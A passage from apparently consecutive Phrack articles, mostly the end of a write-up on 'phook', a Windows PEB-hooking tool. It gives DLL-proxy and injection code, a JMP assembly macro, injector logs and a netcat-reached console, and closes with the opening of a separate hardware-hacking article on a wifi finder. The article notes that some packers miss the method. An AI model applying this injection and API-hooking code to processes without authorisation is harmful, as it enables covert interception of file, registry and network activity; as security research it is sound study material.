if( !Thread32First( hThreadSnap, & th32 ) ) ShowGetLastErrorString( "GetMainThreadId() ‑ Thread32First()");

do

{

if ( th32.th32OwnerProcessID == process_id ) {

* thread_id = th32.th32ThreadID; return_function = TRUE;

}

}

while

(

Thread32Next( hThreadSnap, & th32 ) && return_function != TRUE );

CloseHandle( hThreadSnap );

return return_function;

}

‑‑‑‑‑‑[ END CODE

‑‑‑‑‑‑[ 4.3 ‑ CreateExp

CreateExp is a program that generates the source code needed to realize a DLL_FAKE from a DLL_REAL. At the moment it creates the files .c and .def, to use with mingw.

To create a DLL_FAKE of kernel32.dll it is needed to execute: ‑ CreateExp C:\WINDOWS\SYSTEM32\KERNEL32.DLL C:\ph_ker32

If it has worked well the files C:\ph_ker32.c and C:\ph_ker32.def will be created.

ph_ker32.c contains the definitions of the exportations of kernel32.dll and jumps automatically to the originals.

ph_ker32.def contains the alias and the names of the exportations of kernel32.dll.

By default the exportations of DLL_FAKE will jump to the corresponding exportation of DLL_REAL.

‑‑‑‑‑‑[ 4.3.1 ‑ Forwarder DLL

CreateExp tranforms the Forwarder DLL [R.3] into exportations, so PEB HOOKING of a function Forwarder can be done.

Example: kernel32.dll has as Forwarder HeapAlloc that goes to the exportation RtlAllocateHeap of NTDL.DLL. When a module imports HeapAlloc from kernel32.dll, the Loader of win32 automatically puts the address of the exportation of NTDLL.DLL and never passes through kernel32.dll:

CALL HeapAlloc

[process] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [NTDLL.DLL] ^ 0 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1

If a DLL_FAKE of kernel32.dll is created with CreateExp, the flow will be:

CALL HeapAlloc (DLL_FAKE)

[process] ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> [KERNEL32.DLL] ‑‑‑‑‑‑‑‑> [NTDLL.DLL] ^ 0 1 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2

Of such form that we can implement a hook of HeapAlloc (kernel32.dll).

‑‑‑‑‑‑[ 4.4 ‑ ph_ker32.dll

ph_ker32.dll was created to do PEB HOOKING [T.1] to kernel32.dll; monotorizes the access to the APIs "CreateFileA" and "CreateFileW" [R.14], and when it is called to any other automatically it jumps to the original.

In order to easen the jump to an API a JMP macro has been created, it has to pass the name of the DLL and the ordinal of the exportation (to see the JMP macro see section 4.4.2).

ph_ker32.c created with CreateExp (JMP macro has been omitted):

‑‑‑‑‑‑[ CODE

#define FAKE_LIB "ph_ker32.dll"

DLLEXPORT void _ActivateActCtx ( void )

{

JMP( FAKE_LIB, 1 );

}

DLLEXPORT void _AddAtomA ( void )

{

JMP( FAKE_LIB, 2 );

}

DLLEXPORT void _AddAtomW ( void )

{

JMP( FAKE_LIB, 3 );

}

DLLEXPORT void _AddConsoleAliasA ( void )

{

JMP( FAKE_LIB, 4 );

}

....

‑‑‑‑‑‑[ END CODE

It is necessary to remember that once PEB HOOKING [T.1] has been made, kernel32.dll will now be named ph_ker32.dll, for that reason ph_ker32.dll in the symbolic constant FAKE_LIB is indicated.

ph_ker32.def created with CreateExp:

‑‑‑‑‑‑[ CODE

LIBRARY default

EXPORTS

ActivateActCtx=_ActivateActCtx @ 1 AddAtomA=_AddAtomA @ 2 AddAtomW=_AddAtomW @ 3

...

‑‑‑‑‑‑[ END CODE

By reasons of clarity the implementation of the APIs CreateFileA and CreateFileW [R.14] have been put in the file owns.c. When a call is made to CreateFileA and to CreateFileW [R.14] it is written the parameter lpFileName in the file C:\CreateFile.log

owns.c:

‑‑‑‑‑‑[ CODE

#define FILE_LOG C:\CreateFile.log

DLLEXPORT

HANDLE _stdcall _CreateFileW

(

LPCWSTR lpFileName,

DWORD dwDesiredAccess,

DWORD dwShareMode,

LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDistribution,

DWORD dwFlagsAndAttributes,

HANDLE hTemplateFile

)

{

char asc_str[MAX_PATH];

if ( UnicodeToANSI( (WCHAR *) lpFileName, asc_str ) == 0 ) CreateFileLogger( asc_str );

return CreateFileW(

lpFileName,

dwDesiredAccess,

dwShareMode,

lpSecurityAttributes, dwCreationDistribution, dwFlagsAndAttributes,

hTemplateFile );

}

DLLEXPORT

HANDLE _stdcall _CreateFileA

(

LPCSTR lpFileName,

DWORD dwDesiredAccess,

DWORD dwShareMode,

LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDistribution,

DWORD dwFlagsAndAttributes,

HANDLE hTemplateFile

)

{

char asc_str[MAX_PATH];

CreateFileLogger( lpFileName );

return CreateFileA(

lpFileName,

dwDesiredAccess,

dwShareMode,

lpSecurityAttributes, dwCreationDistribution, dwFlagsAndAttributes,

hTemplateFile );

}

static void

CreateFileLogger( const char * file_to_log )

{

HANDLE file;

DWORD chars;

file = \

CreateFileA

(

FILE_LOG ,

GENERIC_WRITE | GENERIC_READ ,

0 ,

NULL ,

OPEN_ALWAYS ,

0 ,

NULL

);

if ( file != INVALID_HANDLE_VALUE )

{

if ( SetFilePointer( file, 0, NULL, FILE_END ) != ‑1 ) {

WriteFile

(

file, file_to_log, strlen( file_to_log ), &chars, NULL );

WriteFile( file, "\x0D\x0A", 2, &chars, NULL ); }

CloseHandle( file );

}

}

‑‑‑‑‑‑[ END CODE

‑‑‑‑‑‑[ 4.4.1 ‑ Stack problems

When it is wanted to directly pass the control to an API which prototype is not known a generic form, it is necessary to pass it the intact stack to the original API. This is gotten in mingw with the option of the compilator ‑fomit‑frame‑pointer [R.15] and a JMP (ASM) to the original API.

The functions that have been implemented have to be put in the prototype and must be of the type _stdcall. The functions of type _stdcall have a different syntax in the file .def:

‑ Name_exportation=Alias@arguments * 4 @ Ordinal

Example of file .def with the APIs of type _stdcall CreateFileA and CreateFileW [R.14] (both have seven arguments):

‑‑‑‑‑‑[ CODE

LIBRARY ph_ker32

EXPORTS

; Name Exp | Alias | No Args * 4 | Ordinal Windows XP SP2 CreateFileW=_CreateFileW@28 @ 83 CreateFileA=_CreateFileA@28 @ 80

‑‑‑‑‑‑[ END CODE

The functions of type _stdcall should not be compiled with ‑fomit‑frame‑pointer [R.15] option.

‑‑‑‑‑‑[ 4.4.2 ‑ Registry problems

Not only is necessary to pass the stack intact to an exportation, some times the exportations directly use the values of the registers. Before passing the control to the original exportation it is necessary to let the registers intact, this is accomplished inserting in the code the instructions PUSHAD and POPAD:

[PUSHAD] [ CODE NEEDED TO JUMP TO THE EXPORTATION ] [POPAD]

An example of exportation that directly uses the registers is _chkstk of NTDLL.DLL:

_chkstk in NTDLL.DLL (WINDOWS XP SP2):

‑‑‑‑‑‑[ CODE

7C911A09 >/$ 3D 00100000 CMP EAX,1000

7C911A0E |. 73 0E JNB SHORT ntdll.7C911A1E 7C911A10 |. F7D8 NEG EAX

7C911A12 |. 03C4 ADD EAX,ESP

7C911A14 |. 83C0 04 ADD EAX,4

7C911A17 |. 8500 TEST DWORD PTR DS:[EAX],EAX 7C911A19 |. 94 XCHG EAX,ESP

7C911A1A |. 8B00 MOV EAX,DWORD PTR DS:[EAX] 7C911A1C |. 50 PUSH EAX

7C911A1D |. C3 RETN

7C911A1E |> 51 PUSH ECX

7C911A1F |. 8D4C24 08 LEA ECX,DWORD PTR SS:[ESP+8] 7C911A23 |> 81E9 00100000 /SUB ECX,1000

7C911A29 |. 2D 00100000 |SUB EAX,1000

7C911A2E |. 8501 |TEST DWORD PTR DS:[ECX],EAX 7C911A30 |. 3D 00100000 |CMP EAX,1000

7C911A35 |.^73 EC \JNB SHORT ntdll.7C911A23 7C911A37 |. 2BC8 SUB ECX,EAX

7C911A39 |. 8BC4 MOV EAX,ESP

7C911A3B |. 8501 TEST DWORD PTR DS:[ECX],EAX 7C911A3D |. 8BE1 MOV ESP,ECX

7C911A3F |. 8B08 MOV ECX,DWORD PTR DS:[EAX] 7C911A41 |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4] 7C911A44 |. 50 PUSH EAX

7C911A45 \. C3 RETN

‑‑‑‑‑‑[ END CODE

‑‑‑‑‑‑[ 4.4.3 ‑ The JMP macro

The JMP macro is necessary since not always all the DLL (file .h) declarations are had in its header. With the JMP macro the address of the exportation is obtained with GetProcAddress [R.12] in runtime.

‑‑‑‑‑‑[ CODE

unsigned long tmp;

#define JMP( lib, func ) \

asm ( "pushad" ); \

asm \

( \

" push edx \n" \

" push %1 \n" \

" call eax \n" \

" pop edx \n" \

" push %2 \n" \

" push eax \n" \

" call edx \n" \

" mov %4, eax \n" \

" popad \n" \

: :

"a" (GetModuleHandle) , \

"g" (lib) , \

"g" (func) , \

"d" (GetProcAddress) , \

"g" (tmp) \

);

asm ( "jmp %0" : : "g" (tmp) );

‑‑‑‑‑‑[ END CODE

The code is for mingw [R.16] with the compiler option ‑masm=intel.

‑‑‑‑‑‑[ 4.4.4 ‑ Versions

We have included in phook various versions of ph_ker32 for the systems:

‑ Windows XP SP2 v5.1.2600

‑ Windows Server 2003 R2 v5.2.3790

‑ Windows Vista v6.0.6000

Source code in ph_ker32/SO and binaries in bin/OS.

‑‑‑‑‑‑[ 4.5 ‑ Using phook

Lets imagine that we want to do PEB HOOKING [T.1] to kernel32.dll with ph_ker32.dll, the programa poc.exe has been chosen for the example (comes in the folder bin\ of phook).

Steps to follow:

1.‑ Execute InjectorDLL indicating a program to execute and the DLL of the console that will be injected in the process:

‑ InjectorDLL.exe console.dll ‑u poc.exe

The process will be hold in suspended state and there will be a socket listening in the port indicated in the file C:\ph_listen_ports.log

C:\phook\bin>InjectorDll.exe console.dll ‑u poc.exe

______________________________

| InjectorDLL v1.0 |

|

| [Shearer] eunimedesAThotmail.com |

| Dreg DregATfr33project.org |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| http://www.fr33project.org |

|______________________________

Showing injection data .....

Program to inject : poc.exe

Library to inject: console.dll

[OK] ‑ CONSOLE.

[OK] ‑ Create process:

[INFO] PID: 0x0960

[INFO] P. HANDLE: 0x000007B8

[INFO] TID: 0x0AE0

[INFO] T. HANDLE: 0x000007B0

[INFO] ‑ Injecting DLL...

[OK] ‑ Allocate memory in the extern process. [INFO] ‑ Address reserved on the other process: 0x00240000 [INFO] ‑ Space requested: 306

[OK] ‑ Creating structure for the dll load. [OK] ‑ Writing structure for the dll load. [OK] ‑ Creating remote thread. [INFO] ‑ Thread created with TID: 0x0B28 [INFO] ‑ Attempt: 1

[INFO] ‑ Thread has entered suspension mode. [OK] ‑ Injection thread ended. [OK] ‑ Memory in remote thread freed. [OK] ‑ DLL injected.

[OK] ‑ Injection ended.

2.‑ It is necessary to connect with a client of type netcat to the open port, in this case: 1234.

C:\>nc 127.0.0.1 1234

__________________________________

| Phook Prompt v1.0 |

| [Shearer] eunimedesAThotmail.com |

| Dreg DregATfr33project.org |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| http://www.fr33project.org |

|__________________________________

ph > help

__________________________________

| Phook Prompt v1.0 |

|

| Command list:

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| help ‑ Shows this screen | | exit ‑ Closes and unloads the console | | suspend ‑ Pauses the programs execution | | resume ‑ Resumes the programs execution | | showmodules ‑ Shows the modules list | | load [param1] ‑ Loads in memory the library |

| especified in [param1] |

| unload [param1] ‑ Unloads a librery in memory |

| especified in [param1] |

| pebhook [param1] [param2] ‑ Performs PEB Hook over a dll |

| [param1]: Name of the original dll |

| [param2]: Path to the DLL hook |

|__________________________________

3.‑ PEB HOOKING [T.1] to kernel32.dll is realized with the ph_ker32.dll: ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32.dll

4.‑ The command resume is sent so that the execution of the process begins.

ph > resume

ph >

C:\phook\bin>

5.‑ poc.exe creates the files in C:\

‑ file

‑ file2

‑ file3

6.‑ ph_ker32.dll registers the successful calls to the APIs CreateFileA and CreateFileW [R.14] in the file C:\CreateFile.log

7.‑

C:\>more CreateFile.log

C:\file1

C:\file2

C:\file3

‑‑‑‑‑‑[ 4.5.1 ‑ DLL MINIFILTER

phook allows to realize DLL MINIFILTER (see section 3.7) by a simple manner. It only has to realize PEB HOOKING [T.1], with the command pebhook, over the name of the DLL_FAKE, that is the one that had DLL_REAL.

Supposing that we have two DLL_FAKEs:

‑ ph_ker32_1.dll: Monotorizes access to the APIs CreateFile [R.14]. ‑ ph_ker32_2.dll: Monotorizes the access of the API ReadFile [R.17].

To do DLL MINIFILTER it is as easy as:

C:\>nc 127.0.0.1 1234

__________________________________

| Phook Prompt v1.0 |

| [Shearer] eunimedesAThotmail.com |

| Dreg DregATfr33project.org |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| http://www.fr33project.org |

|__________________________________

ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32_1.dll ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32_2.dll

Flow of a call of the process to kernel32.dll: 0 1 2 [process] ‑‑> [ph_ker32_2.dll] ‑‑> [ph_ker32_2.dll] ‑> [kernel32.dll]

^

| 3 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ 4.6 ‑ Frequent problems

Besides of the problems in the section 3.8, there are others:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Problem | Possible/s Solution/s |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| ‑ DLL_FAKE compilation fails | ‑ Check that the functions that go |

| | directly to DLL_REAL are not repeated |

| | and are implemented. |

| | ‑ Check that the implemented functions |

| | (that must be of _stdcall type) are |

| | well defined in the .def file |

| | (see section 4.4.1). |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| ‑ The execution of the | ‑ Check that the functions that go | | process fails | directly to DLL_REAL have been |

| | compiled with the option |

| | ‑fomit‑frame‑pointer (see section |

| | 4.4.1). |

| | ‑ Check that the implemented functions |

| | are of _stdcall type. |

| | ‑ Check that DLL_FAKE have been created |

| | from the DLL_REAL and not another. |

| | ‑ Check if InjectorDLL has correctly |

| | detected the real type of the process |

| | (GUI or CONSOLE). |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| ‑ It is not possible to | ‑ Check that the port 1234 is open | | connect to the console | before doing PEB HOOKING [T.1]. |

| | ‑ Check firewall blockings... |

| | ‑ Check that the full path of |

| | console.dll has been indicated in |

| | InjectorDLL. |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| ‑ InjectorDLL does not work | ‑ Check that the privilegies to inject |

| | a DLL were obtained |

| | (CreateRemoteThread..) |

| | ‑ Check anti‑virus blocking... |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| ‑ CreateExp does not work | ‑ Check that the path of DLL_REAL ia a |

| | correct PE32 and that the EXPORT |

| | DIRECTORY is not corrupted [R.3]. |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some other problems may exist due to programming and/or design failures.

‑‑‑‑‑‑[ 5.‑ TODO

At the moment we are trying to:

‑ Realize PEB HOOKING [T.1] before the execution of: ‑ TLS Table and DLLMain [R.3].

‑ Create debug files and configuration for the console. ‑ Rules for the repair of IATs [R.4].

‑ customized list of listening ports.

‑ ...

‑ Improve InjectorDLL:

‑ Automatic detection of "GUI process" and "Console process".

‑‑‑‑‑‑[ 6.‑ Testing

Tests with phook in different versions of Windows and other programs have been made.

Windows:

‑ Windows XP SP2 v5.1.2600

‑ Windows Server 2003 R2 v5.2.3790

‑ Windows Vista v6.0.6000

And theoretically it would have to work in Windows 2000, but we have not verified it.

Programs:

‑ Microsoft Word 10.0.2627.0

‑ Regedit 5.1.2600.2180

‑ Notepad 5.1.2600.2180

‑ Calc 5.1.2600.0

‑ CMD 5.1.2600.2180

‑ piathook 1.4

‑ pebtry Beta 5

‑ pe32analyzer Beta 2

‑‑‑‑‑‑[ 7.‑ Advantages and possibilities

The biggest advantage of PEB HOOKING [T.1] over other hooking methods is that it only has to be applied once. At the moment that a hook to a DLL has been done, any module that is loaded will automatically have in his IAT [R.3] the exports that use DLL_FAKE. The rest of the modules have to apply the hook every time that the module is loaded.

Other advantages of using PEB HOOKING [T.1]:

‑ A search in the PEB (using the field BaseDllName) to find DLL_REAL, will arrive at DLL_FAKE.

‑ PEB HOOKING is a more stable method for the OS than others in ring0.

‑ Some packers do not detect PEB HOOKING [T.1] as it is not a well documented method.

‑ It is not necessary to change the behavior of the APIs that work with modules. When a module tries to obtain the handler of the DLL_REAL, will automatically obtain the handler DLL_FAKE.

‑ Possibility of creating DLL MINIFILTER (see section 3.7).

‑ PEB HOOKING of a exportation Forwarder [R.3] can be done without making PEB HOOKING to the Forwarder DLL.

The spectrum of possibilities that the PEB HOOKING [T.1] method allows and phook is quite ample, next we raised some examples:

‑ Monotorize/virtualize the access to the registry of a process. ‑ POC [R.18]:

1.‑ Use the tool CreateExp (see section 4.3) on "advapi32.dll".

2.‑ Based on what is desired to do, it is necessary to implement the monitorization/virtualization in the next APIs:

‑ RegCloseKey

‑ RegCreateKeyA/RegCreateKeyW ‑ RegCreateKeyExA/RegCreateKeyExW ‑ RegDeleteKeyA/RegDeleteKeyW ‑ RegLoadKeyA/RegLoadKeyW

‑ RegOpenKeyA/RegOpenKeyW

‑ RegOpenKeyExA/RegOpenKeyExW ‑ RegQueryValueA/RegQueryValueW ‑ RegQueryValueExA/RegQueryValueExW ‑ RegReplaceKeyA/RegReplaceKeyW ‑ RegRestoreKeyA/RegRestoreKeyW ‑ RegSaveKeyA/RegSaveKeyW

‑ RegSaveKeyExA/RegSaveKeyExW ‑ RegSetValueA/RegSetValueW

‑ RegSetValueExA/RegSetValueExW ‑ RegUnLoadKeyA/RegUnLoadKeyW ...

‑ Monotorize/virtualize conections.

‑ POC [R.20]:

1.‑ Use the tool CreateExp (see section 4.3) on "ws2_32.dll".

2.‑ Based on what is desired to do, it is necessary to implement the monitorization/virtualization of the following APIs:

‑ accept

‑ bind

‑ closesocket

‑ connect

‑ listen

‑ recv

‑ recvfrom

‑ send

‑ sendto

‑ socket

‑ WSAAccept

‑ WSAConnect

‑ WSARecv

‑ WSARecvFrom

‑ WSASend

‑ WSASendTo

‑ WSASocketA/W

...

‑ Syscall Proxy de ficheros:

‑ POC [R.19]:

1.‑ Use the tool CreateExp (see section 4.3) on "kernel32.dll".

2.‑ Based on what is desired to do, it is necessary to implement the redirection of the following APIs: ‑ CreateFileA/CreateFileW

‑ CreateFileExA/CreateFileExW ‑ ReadFile

‑ ReadFileEx

‑ WriteFile

‑ WriteFileEx

...

‑ ... and free your mind ;‑)

‑‑‑‑‑‑[ 8.‑ Conclusion

If it is necessary to do a hook to an API/exportation, any actual method may be used. But if it is necessary to monitorize or virtualize the access to various APIs/exportations with phook it is a lot simplier the implementation, as it is only necessary to program the functionality of the APIs/exportations.

Besides, it is a method oriented to the reverse engineering of software and malware protection systems, as it difficults alternative methods of searching the exportations and elimination of hooks.

‑‑‑‑‑‑[ 9.‑ Acknowledgements

Recommendations for the paper:

‑ phrack staff

‑ Tarako

Translation to English of the chains of phook:

‑ Southern

‑ LogicMan

‑ XENMAX

Translations of the paper to English:

‑ BETA : Ana Hijosa

‑ BETA 2: delcoyote

‑ ACTUAL: LogicMan

Virii scene:

‑ GriYo, zert, Slow, pluf, xezaw, sha0 ...

Reversing scene:

‑ pOpE, JKD, ilo, Ripe, int27h, at4r, uri, numitor, vikt0ry, kania, remains, S‑P‑A‑R‑K ...

Other scene:

‑ sync, ryden, xenmax, ozone/membrive, \^snake^\, topo, fixgrain, ia64, overdrive, success, scorpionn, oyzzo, simkin, !dSR ...

ALL vx.7a69ezine.org and 7a69ezine.org people ;‑)

And specially tahnks to YJesus ‑ http://www.security‑projects.com

‑‑‑‑‑‑[ 10.‑ Related Works

[T.1] .‑ We are not aware of any work similar to phook, but there is an article that talks about PEB HOOKING written by Deroko: "PEB DLL Hooking Novel method to Hook DLLs". The article was published in the ARTeam‑Ezine number 2.

‑ http://www.arteam.accessroot.com/ezine/file_info/download1.php?

file=ARTeam.eZine.Number2.rar

‑‑‑‑‑‑[ 11.‑ References

[R.1] .‑ Structures of the PEB:

‑ http://undocumented.ntinternals.net/

[R.2] .‑ Gaining important datas from PEB under NT boxes: ‑ http://vx.netlux.org/29a/29a‑6/29a‑6.224

[R.3] .‑ Visual Studio, Microsoft Portable Executable and Common Object File Format Specification. Revision 8.0 ‑ May 16, 2006: ‑ http://www.microsoft.com/whdc/system/platform/firmware/

PECOFF.mspx

[R.4] .‑ What Goes On Inside Windows 2000: Solving the Mysteries of the Loader:

‑ http://msdn.microsoft.com/msdnmag/issues/02/03/Loader/

[R.5] .‑ winnt.h (DEV‑CPP):

‑ http://www.bloodshed.net/devcpp.html

[R.6] ‑ CreateProcess:

‑ http://msdn2.microsoft.com/en‑us/library/ms682425(vs.80).aspx

[R.7] ‑ Three Ways to Inject Your Code into Another Process: ‑ http://www.codeproject.com/threads/winspy.asp

[R.8] ‑ Import address table hooks:

‑ http://www.securityfocus.com/infocus/1850

[R.9] ‑ Code overwriting:

‑ http://www.codeproject.com/system/hooksys.asp

[R.10] ‑ Hooks:

‑ http://msdn2.microsoft.com/en‑us/library/ms632589.aspx

[R.11] ‑ System Call Optimization with the SYSENTER Instruction: ‑ http://blog.donews.com/zwell/archive/2005/03/13/300440.aspx

[R.12] ‑ Run‑Time Dynamic Linking

‑ http://msdn2.microsoft.com/en‑us/library/ms685090.aspx

[R.13] ‑ Thread Walking

‑ http://msdn2.microsoft.com/en‑us/library/ms686780.aspx

[R.14] ‑ CreateFile

‑ http://msdn2.microsoft.com/en‑us/library/aa363858.aspx

[R.15] ‑ MAN GCC (‑fomit‑frame‑pointer):

‑ http://www.astro.uni‑bonn.de/~webstw/cm/gnu/gcc/gcc.1.html

[R.16] ‑ MINGW:

‑ http://www.mingw.org/

[R.17] ‑ ReadFile:

‑ http://msdn2.microsoft.com/en‑us/library/aa365467.aspx

[R.18] ‑ Registry Functions:

‑ http://msdn2.microsoft.com/en‑us/library/ms724875.aspx

[R.19] ‑ File Management Functions:

‑ http://msdn2.microsoft.com/en‑us/library/aa364232.aspx

[R.20] ‑ Winsock Functions:

‑ http://msdn2.microsoft.com/en‑us/library/ms741394.aspx

[R.20] ‑ MSDN LIBRARY:

‑ http://msdn2.microsoft.com/en‑us/library/

[R.21] ‑ Iczelion's Win32 Assembly Homepage:

‑ http://win32assembly.online.fr/

‑‑‑‑‑‑[ 12.‑ Source Code

Message‑ID: <wc2007101518005420031419875@localhost> MIME‑Version: 1.0

Content‑Description: "UU encode of phookt~1.gz by Wincode 2.7.3" Content‑Type: application/X‑gzip; name="phookt~1.gz" Content‑Transfer‑Encoding: X‑uuencode

Content‑Disposition: attachment; filename="phookt~1.gz"

begin 644 phookt~1.gz M'XL("(>.$T<``'!H;V]K+G1A<@#LW7E`5=7>‑_#‑`145!14‑%?5H#C@AHR(@ end

sum ‑r/size 33661/965395

Hacking the $49 Wifi Finder

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x0b of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Hacking the $49 Wifi Finder ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by openschemes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1.0 ‑ Introduction

2.0 ‑ Device Overview

3.0 ‑ Opening the Device

4.0 ‑ Internals and Investigation

5.0 ‑ Accessing the ISP Loader

6.0 ‑ ISP Loader Capabilities

7.0 ‑ Software Bootloader Capabilities

8.0 ‑ Inserting Your Own Code

9.0 ‑ Conclusion

A.0 ‑ References

‑‑[ 1.0 ‑ Introduction

Christmas has passed, and in the cold weeks since we have already become bored with the shiny new toys Santa left us under the tree. Our only choice is to hack them! This article describes our successful attack on a popular wifi finder, and will provide you with the ability to use the device in new and interesting ways. You are limited only by your own creativity!

Any successful hack must begin by setting a clear goal. Through determination and creative thinking, you will then see the steps necessary to achieve that goal. Simply saying "I would like to hack this device" is meaningless without context, and setting unachievable goals will cause you to be bogged down by the intermediate steps and probably abandon the project. So we urge you to begin each hack by taking small steps, and upon the completion of each of these steps you will open new doors and new pathways for further investigation and development.

In the case of the wifi finder, our penultimate goal was to execute our own code on it's internal microcontroller. We have achieved that goal and will describe the steps we took to achieve it. It is easy to see that upon reaching this goal, we have opened many new pathways to extending the capabilities of the device. Some are easy, such as allowing the device to seach hidden SSIDs and browse wifi channels not allowed in the US. Others are lofty, such as the development of a portable "aircracking" device. Some of these topics will be covered in the future, but we urge you to sit down with the device and your knowledge of it, and plan your own path.

We apologize if you feel this text is a long, rambling description of our attack but we believe the PROCESS, and not the result is the true hack. Give a man a hack, and he can program his wifi‑finder. Teach a man to hack, and he can program anything...

The tools used in this attack are:

‑ On the hardware side, we used a modified USB to RS232 converter to communicate with the serial port on the wifi finder. An alternative to this is to build your own 3.3v RS232 converter using the MAX3232 IC. Schematics for this are detailed below.

‑ On the software side, we used a combination of IDA disassembler [1] and Keil A51 assembler [2]. This assembler can be used from the command line, or from within the Keil uVision IDE.

The main steps in this project are

A) Open and identify the devices and their capabilities

B) Research to find a back‑door into the device

C) Construction and operation of interface to communicate with the device D) Investigation into the device's internal operation

E) Extension and modification of the device's operation

That is just a brief overview of the top‑level scheme, and as you will soon discover, it requires quite a bit of low‑level hacking in order to achieve each of these steps in turn. We hope that you will find this text informative and enlightening as we chronicle our attack on this interesting little device.

‑‑[ 2.0 ‑ Device Overview

There are a few levels of wifi‑finder on the market today. Some cheap devices simply detect microwave radiation. They will detect 802.11, but also some cordless phones, baby monitors, or the nondescript mom microwaving some soup down the street. These are garbage, consisting only of an amplifier and bandpass filter. The next level can detect access points, but give no feedback other than a few lights to tell you whether it is near or far. Also garbage.

The highest tier of wifi‑finder today costs between $40 and $100 USD, and consists of a standalone USB wifi card mated to a host microcontroller and LCD screen for display of the SSID, channel, and signal strength. It contains a small lithium‑ion battery for portable use, and charges itself anytime it is connected to a USB port. You can easily identify this device, as it is the only wifi finder with an LCD screen! This market has been cornered by one developer selling their design to many companies, so as of now there is only one true product which has been re‑branded to many models. In our investigations, we feel that all these devices are basically identical in hacking potential, and they are all suceptible to our attacks. Here is a list of what we've found so far, all are available at your local store or online retailers such as Amazon.com.

Manufacturer Model Reference

‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

Allnet ALL‑0298 [3]

ZyXel AG‑225H [4]

ConnecTec AG‑225H None

TrendNet TEW‑429UB [5]

Linksys WUSBF54G [6]

All the devices share a common form factor: USB stick with an On‑Off switch and two buttons for portable use: "Seek" and "Next".

Seek Next

______________==_____==______

| ___________ |___

| | | _ |

| HackMe | LCD | _ | USB

| |___________| ___|

|_____________________________|

\_/

On‑Off Switch

Powering on the device when it is disconnected from a PC will start the finder routine. Additionally, pressing Seek at most times will restart the finder routine. Once some hotspots have been found, pressing Next will cycle through them, displaying the SSID, Channel, Encryption Type, and signal Strength.

By holding Seek upon power‑up, the device enters a simple self‑test routine used to check the LCD screen and internal timing. By holding Next upon power‑up, the device enters a Firmware Upgrade Mode used to upload new firmware via USB. Always a wonderful feature! But don't think that we simply patch some boring vendor code and call it a hack: For most of the devices we have found, this firmware upgrade mode has been obsoleted and is no longer able to upload to the host microcontroller. We must find a new way into the micro, and they have not made it easy.

‑‑[ 3.0 ‑ Opening the Device

The easiest device to open is the ZyXel/Allnet, followed by the Linksys and then the TrendNet. By successively "cheapening" the manufacturing these vendors have inadvertantly made it a pain to get into the box without damaging it. But we don't mind a little damage, and even a TrendNet with it's little tabs broken off can be closed back up and returned to the store without trouble. Not that you would ever do that, of course.. Just an example.

To open the device, you will need to remove the BACK panel (not the panel holding the LCD). Start by pressing hard at the rear sides of the device, where the rear is the side WITHOUT the usb connector. By pressing near either of the back corners, you can get the ZyXel to pop open easily. A little prying with the cap can also work wonders and leave no marks. The TrendNet device is secured with 6 very cheap plastic tabs which will easily break when you try to open it. But the Trend it is the most inexpensive device on the market so this is the one you will most likely try to attack.

Of course, you could always pry it open with a screwdriver if you don't care about getting it back together again.

